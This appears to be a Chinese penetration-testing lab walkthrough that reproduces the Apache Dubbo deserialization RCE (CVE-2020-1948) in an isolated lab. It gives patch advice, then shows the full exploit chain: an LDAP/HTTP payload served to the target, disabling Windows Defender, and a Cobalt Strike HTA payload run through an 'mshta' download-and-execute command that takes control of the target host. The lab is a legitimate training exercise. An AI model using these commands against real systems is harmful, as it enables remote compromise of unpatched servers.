CVE-2020-1948 Apache dubbo远程命令执行漏洞

预备知识 
Dubbo是阿里巴巴公司开源的一个高性能优秀的服务框架,使得应用可通过高性能的RPC实现服务的输出和输入功能,可以和Spring框架无缝集成。

RPC是远程过程调用的简称,广泛应用在大规模分布式应用中,作用是有助于系统的垂直拆分,使系统更易拓展。

Dubbo框架支持9种协议,Dubbo协议、Hessian协议、HTTP协议、RMI协议、WebService协议、Thrift协议、Memcached协议、Redis协议、Rest协议。其中,默认的,也是最常用的,那就是dubbo协议。既然是网络协议,那么,必然要有端口号。所以,在使用dubbo协议暴露服务时,需要配置dubbo端口。dubbo协议的默认端口是20880。

2020年06月23日, Apache Dubbo 官方发布了Apache Dubbo 远程代码执行的风险通告,该漏洞编号为CVE-2020-1948,漏洞等级:高危。 Apache Dubbo是一款高性能、轻量级的开源Java RPC框架,它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。 Apache Dubbo Provider存在反序列化漏洞,攻击者可以通过RPC请求发送无法识别的服务名称或方法名称以及一些恶意参数有效载荷,当恶意参数被反序列化时,可以造成远程代码执行。

影响范围:Dubbo 2.7.0 - 2.7.6、Dubbo 2.6.0 - 2.6.7、Dubbo 2.5.x (官方不再维护)

漏洞修复:

1、升级到2.7.7或更高版本,下载地址为:
https://github.com/apache/dubbo/releases/tag/dubbo-2.7.7

2、更换默认的反序列化方式。
Dubbo协议默认采用Hessian作为序列化反序列化方式,而Hessian存在危险的反序列化漏洞。用户可以在考虑不影响业务的情况下更换协议以及反序列化方式,如:rest,grpc,thrift等。

实验目的
通过该实验了解漏洞产生的原因,掌握基本的漏洞利用及使用方法,并能给出加固方案。

实验环境
靶机:win10+jdk8u121    IP:10.1.1.140

攻击机:Kali+jdk8u121    IP:10.1.1.148

实验步骤一
前段时间,你们公司受到了入侵,经过排查发现是公司的一个服务框架存在漏洞,你作为公司的高级渗透测试工程师,需要将此漏洞复现,并给出修复方案。

任务描述:作为一名渗透测试工程师,对于漏洞复现是我们必须掌握的技能,但是复现漏洞除了使用真实环境之外还需要学会自己搭建环境。

切换到靶机,打开浏览器下载漏洞环境,

http://tools.hetianlab.com/tools/CVE-2020-1948.zip

解压之后有两个压缩包

CVE-2020-1948 Apache dubbo远程命令执行漏洞_第1张图片
这里我们需要用到的是dubbo.zip,解压之后打开cmd进入到dubbo.jar包所在文件夹,执行java -jar dubbo.jar用以启动漏洞环境,启动完成后会监听12345端口(注:该端口为该jar包监听的端口)。至此,我们复现漏洞所需环境搭建完成。
CVE-2020-1948 Apache dubbo远程命令执行漏洞_第2张图片
启动完成后使用telnet命令连接测试环境是否启动无误,

切换到攻击机kali,打开终端,执行

telnet 10.1.1.140 12345

CVE-2020-1948 Apache dubbo远程命令执行漏洞_第3张图片

实验步骤二
任务描述:对dubbo框架进行指纹识别及漏洞利用。


使用nmap进行指纹识别

nmap -sV -p 12345 10.1.1.140
CVE-2020-1948 Apache dubbo远程命令执行漏洞_第4张图片

下载漏洞利用所需工具

wget http://tools.hetianlab.com/tools/CVE-2020-1948.zip
CVE-2020-1948 Apache dubbo远程命令执行漏洞_第5张图片

然后解压

unzip CVE-2020-1948.zip -d cve-2020-1948

解压后可以看到有两个压缩文件,dubboRCE.zip是我们需要的文件,再次解压后可以看到如下文件:

CVE-2020-1948 Apache dubbo远程命令执行漏洞_第6张图片
其中calc.java是执行命令的(弹计算器),Dubbo.py是需要运行的脚本,marshalsec-0.0.3-SNAPSHOT-all.jar是用来启动一个ldap服务的工具,CS3.14-0504.zip是cobaltstrike的压缩包。calc.java内容如下,
CVE-2020-1948 Apache dubbo远程命令执行漏洞_第7张图片

执行javac calc.java进行编译,编译完成后会在当前目录得到一个calc.class类文件
CVE-2020-1948 Apache dubbo远程命令执行漏洞_第8张图片
然后使用python启动一个web服务,该服务用于被测目标下载漏洞利用代码用。

python -m SimpleHTTPServer 8080
CVE-2020-1948 Apache dubbo远程命令执行漏洞_第9张图片
利用marshalsec-0.0.3-SNAPSHOT-all.jar启动一个ldap服务
CVE-2020-1948 Apache dubbo远程命令执行漏洞_第10张图片
注:命令中的ip及8080端口为我们启动web服务的IP和端口,比如我们在本机10.1.1.148启动一个监听端口为8080的web服务,则为10.1.1.148:8080,1234端口为启动ldap服务所监听的端口。

启动完成后执行脚本

python3 Dubbo.py 10.1.1.140 12345 ldap://10.1.1.148:1234/calc
CVE-2020-1948 Apache dubbo远程命令执行漏洞_第11张图片

注:前面的10.1.1.140为漏洞环境所在地址,12345为该漏洞环境监听的端口,后面的ldap://10.1.1.148:1234/为启动的ldap服务的主机地址及该服务监听的1234端口。

除了通过返回信息来判断外,观察 LDAP 代理是否出现请求转发也是判断POC利用是否成功的重要依据
CVE-2020-1948 Apache dubbo远程命令执行漏洞_第12张图片
切换到靶机,可以看到成功执行了弹计算器的命令。
CVE-2020-1948 Apache dubbo远程命令执行漏洞_第13张图片

实验步骤三
任务描述:模拟真实渗透,利用Cobalt Strike使其上线。


为了防止windows defender将我们拦截了,先将它关闭,进入到靶机,点击左下角的开始菜单,选择设置,然后选择更新和安全,将实时保护关闭。

CVE-2020-1948 Apache dubbo远程命令执行漏洞_第14张图片
使用unzip解压cobaltstrike

unzip CS3.14-0504.zip -d cs
CVE-2020-1948 Apache dubbo远程命令执行漏洞_第15张图片
进入到cs文件夹

给服务端文件赋予777权限然后启动

chmod 777 teamserver

nohup ./teamserver 10.1.1.148 password &
CVE-2020-1948 Apache dubbo远程命令执行漏洞_第16张图片

注:该命令为后台运行cs,ip为本地ip,password为密码,可以随意设置

然后启动客户端:

java -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar
CVE-2020-1948 Apache dubbo远程命令执行漏洞_第17张图片

这里的host我们填写前面启动时的地址即可,port默认为50050,在启动服务端的时候通过回显也可以得知。如果更改了teamserver文件里的server_port值那么在此处就需要改成对应的。user可以随意设置,password为我们前面启动teamserver时的密码password

都设置好后,点击connect
CVE-2020-1948 Apache dubbo远程命令执行漏洞_第18张图片

这里是校验hash,第一次连接时会出现,这里的hash等于前面的启动teamserver时的hash,直接点击‘是’即可。
启动后界面如下:
CVE-2020-1948 Apache dubbo远程命令执行漏洞_第19张图片

首先创建一个listener,左上角的cobaltstrike->listeners,会在下方出现一个窗口
CVE-2020-1948 Apache dubbo远程命令执行漏洞_第20张图片

点击add添加新的listener

CVE-2020-1948 Apache dubbo远程命令执行漏洞_第21张图片
Name可以随意,payload主要分为beacon和foreign两大类

Beacon为内置的Listener,即在目标主机执行相应的payload,获取shell到CS上;其中包含DNS、HTTP、SMB。

Foreign为外部结合的Listener,常用于MSF的结合,例如获取meterpreter到MSF上。

Host为kali本机的ip

Port可以也可以随意

点击save会出现下图弹框,点击确定即可。
CVE-2020-1948 Apache dubbo远程命令执行漏洞_第22张图片

此时listener出现了新记录


接下来我们选择攻击的途径,如图选中html application,采用html应用的途径攻击
CVE-2020-1948 Apache dubbo远程命令执行漏洞_第23张图片

然后还要选择方法,分别是可执行文件,powershell,vb程序,这里选择powershell
CVE-2020-1948 Apache dubbo远程命令执行漏洞_第24张图片

选择后点击generate生成,我们可以选择生成路径及文件名,保存。
CVE-2020-1948 Apache dubbo远程命令执行漏洞_第25张图片

然后我们利用web服务,如下图,选择host file
CVE-2020-1948 Apache dubbo远程命令执行漏洞_第26张图片

在file一行选中前面生成的hta文件的路径
CVE-2020-1948 Apache dubbo远程命令执行漏洞_第27张图片

点击launch即可生成链接
CVE-2020-1948 Apache dubbo远程命令执行漏洞_第28张图片

这条链接就是用于执行本次攻击,使用mshta执行命令,mshta.exe是微软Windows操作系统相关程序,用于执行.HTA文件。

然后编辑calc.java,将前面弹计算器的命令替换为如下:

mshta http://10.1.1.148:80/download/file.ext
CVE-2020-1948 Apache dubbo远程命令执行漏洞_第29张图片

然后删除掉原来的类文件,重新编译,重复实验步骤二,执行javac calc.java 得到calc.class类文件,使用python启动一个web服务

python -m SimpleHTTPServer 8080
CVE-2020-1948 Apache dubbo远程命令执行漏洞_第30张图片

重新打开一个终端,利用marshalsec-0.0.3-SNAPSHOT-all.jar启动一个ldap服务,

注:如果ldap还使用1234端口可能会报错地址已经使用,所以换个端口
CVE-2020-1948 Apache dubbo远程命令执行漏洞_第31张图片

然后执行脚本
CVE-2020-1948 Apache dubbo远程命令执行漏洞_第32张图片
然后在cs可以看到肉鸡上线了。
CVE-2020-1948 Apache dubbo远程命令执行漏洞_第33张图片

选中这条记录,右键点击interact即可与靶机进行交互

 CVE-2020-1948 Apache dubbo远程命令执行漏洞_第34张图片

部分截图如下:

CVE-2020-1948 Apache dubbo远程命令执行漏洞_第35张图片

CVE-2020-1948 Apache dubbo远程命令执行漏洞_第36张图片

CVE-2020-1948 Apache dubbo远程命令执行漏洞_第37张图片

CVE-2020-1948 Apache dubbo远程命令执行漏洞_第38张图片

CVE-2020-1948 Apache dubbo远程命令执行漏洞_第39张图片

CVE-2020-1948 Apache dubbo远程命令执行漏洞_第40张图片

CVE-2020-1948 Apache dubbo远程命令执行漏洞_第41张图片

CVE-2020-1948 Apache dubbo远程命令执行漏洞_第42张图片

CVE-2020-1948 Apache dubbo远程命令执行漏洞_第43张图片

CVE-2020-1948 Apache dubbo远程命令执行漏洞_第44张图片

CVE-2020-1948 Apache dubbo远程命令执行漏洞_第45张图片

CVE-2020-1948 Apache dubbo远程命令执行漏洞_第46张图片

CVE-2020-1948 Apache dubbo远程命令执行漏洞_第47张图片

CVE-2020-1948 Apache dubbo远程命令执行漏洞_第48张图片

CVE-2020-1948 Apache dubbo远程命令执行漏洞_第49张图片

 CVE-2020-1948 Apache dubbo远程命令执行漏洞_第50张图片

CVE-2020-1948 Apache dubbo远程命令执行漏洞_第51张图片

 CVE-2020-1948 Apache dubbo远程命令执行漏洞_第52张图片

 ​​​​

CVE-2020-1948 Apache dubbo远程命令执行漏洞_第53张图片

CVE-2020-1948 Apache dubbo远程命令执行漏洞_第54张图片

CVE-2020-1948 Apache dubbo远程命令执行漏洞_第55张图片

你可能感兴趣的:(经典漏洞利用,dubbo,apache)